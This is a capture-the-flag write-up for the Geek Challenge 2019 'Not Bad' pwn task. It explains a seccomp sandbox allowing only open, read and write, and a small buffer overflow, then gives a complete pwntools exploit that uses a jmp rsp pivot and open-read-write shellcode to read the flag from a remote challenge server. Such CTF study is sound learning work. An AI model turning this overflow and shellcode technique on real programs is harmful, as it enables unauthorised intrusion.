[Geek Challenge 2019] Not Bad
step
-
Routine inspection, 64-bit program, useless to turn on any protection
-
Take a local test run to see the general situation. According to the program prompts, it is a simple shellcode. According to experience, it is definitely not simple.
-
64-bit ida load.
Baidu 's introduction about mmap function .
Change the address starting from 0x123000, the size is 0x1000 length, and the permission is changed to writable and executable
sub_400949(), sandbox filtering
Use toseccomp-tools dump ./bad
see which functions can be used, and
only read is found. Write, open, and exit can be used. It is estimated that this question should be obtained usingopen-->read-->write
such an orw method to obtain the flag
sub_400906()
sub_400A16(), an obvious overflow vulnerability
-
The idea of this question is very simple, write orw type shellcode, and then jump to execute, the size of buf is only 0x20, it feels not enough for us to write a full rop attack chain, at the beginning of the program, we opened up 0x100 executable space, I plan to write the shellcode here, and then use the overflow of buf to jump over to execute our shellcode
-
First write the shellcode of orw
mmap=0x123000
orw_payload=shellcraft.open('./flag') #打开根目录下的flag文件
orw_payload+=shellcraft.read(3,mmap,0x50) #读取文件标识符是3的文件0x50个字节存放到mmap分配的地址空间里
orw_payload+=shellcraft.write(1,mmap,0x50) #将mmap地址上的内容输出0x50个字节
For the specifics of the file descriptor fd, see this article , let me briefly talk about it here.
The fd in read writes 3 because the file descriptor starts from 3 when the program is executed, and the 1 in write is standard output to the display. These knowledge points are in the link I gave.
- Next, write about the rop attack chain in
buf. The task of the rop attack chain in buf is to write orw_payload into mmap, let the program jump to mmap to execute orw_payload, and start writing the rop attack chain after determining the purpose.
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')#buf里的rop是往mmap里读入0x100长度的数据,跳转到mmap的地址执行
In this way, the rop in buf achieves the purpose we want. Next, we need to find a way to execute the content in buf. It is
found that the program has jmp rsp, which can be used to jump to buf for execution. The address of buf is rsp-0x30.
sub rsp,0x30; jmp rsp is less than 8 bytes to meet the requirements.
The complete rop attack chain at buf
jmp_rsp=0x400A01
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')#buf里的rop是往mmap里读入0x100长度的数据,跳转到mmap的地址执行
payload=payload.ljust(0x28,'\x00')#buf的大小是0x20,加上rbp0x8是0x28,用’\x00‘去填充剩下的位置
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')#返回地址写上跳转到rsp
p.recvuntil('Easy shellcode, have fun!')
p.sendline(payload)
In this way, the rop in buf is also constructed, and the rest can be read by passing in orw_payload
Full exp
from pwn import *
context.arch='amd64'
elf = ELF('./bad')
p = remote('node3.buuoj.cn',28461)
mmap=0x123000
orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap, 0x50)
orw_payload += shellcraft.write(1, mmap,0x50)
jmp_rsp=0x400A01
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
p.recvuntil('Easy shellcode, have fun!')
p.sendline(payload)
shellcode=asm(orw_payload)
p.sendline(shellcode)
p.interactive()